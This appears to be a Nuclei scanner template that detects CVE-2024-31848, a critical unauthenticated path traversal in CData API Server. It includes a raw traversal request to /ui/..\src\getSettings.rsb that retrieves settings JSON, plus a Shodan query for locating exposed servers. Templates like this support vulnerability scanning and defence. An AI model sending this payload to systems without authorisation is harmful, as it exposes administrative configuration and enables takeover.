id: CVE-2024-31848

info:
  name: CData API Server < 23.4.8844 - Path Traversal
  author: pussycat0x
  severity: critical
  description: |
    A path traversal vulnerability exists in the Java version of CData API Server < 23.4.8844 when running using the embedded Jetty server, which could allow an unauthenticated remote attacker to gain complete administrative access to the application.
  reference:
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-31848
    - https://github.com/Stuub/CVE-2024-31848-PoC/blob/main/CVE-2024-31848.py
    - https://www.tenable.com/cve/CVE-2024-31848
    - https://www.tenable.com/security/research/tra-2024-09
    - https://github.com/Stuub/CVE-2024-31848-PoC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-31848
    cwe-id: CWE-22
    epss-score: 0.00054
    epss-percentile: 0.21518
  metadata:
    verified: true
    max-request: 2
    shodan-query: "title:\"CData - API Server\""
  tags: cve,cve2024,cdata,lfi
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - '{{BaseURL}}/login.rst'

    matchers:
      - type: word
        internal: true
        words:
          - '<title>CData - API Server</title>'

  - raw:
      - |
        GET /ui/..\src\getSettings.rsb?@json HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"items":[{'
          - ':"true"'
          - 'notifyemail'
        condition: and

      - type: word
        part: header
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022020d11f45ff4436230dde2f285ea78a9159254c3d5662736695d435e6b2246793022100a86060e4e87b0e9afb28939b4c5f045682da50380fdf6b9053894fbc13d9184a:922c64590222798bb761d5b6d8e72950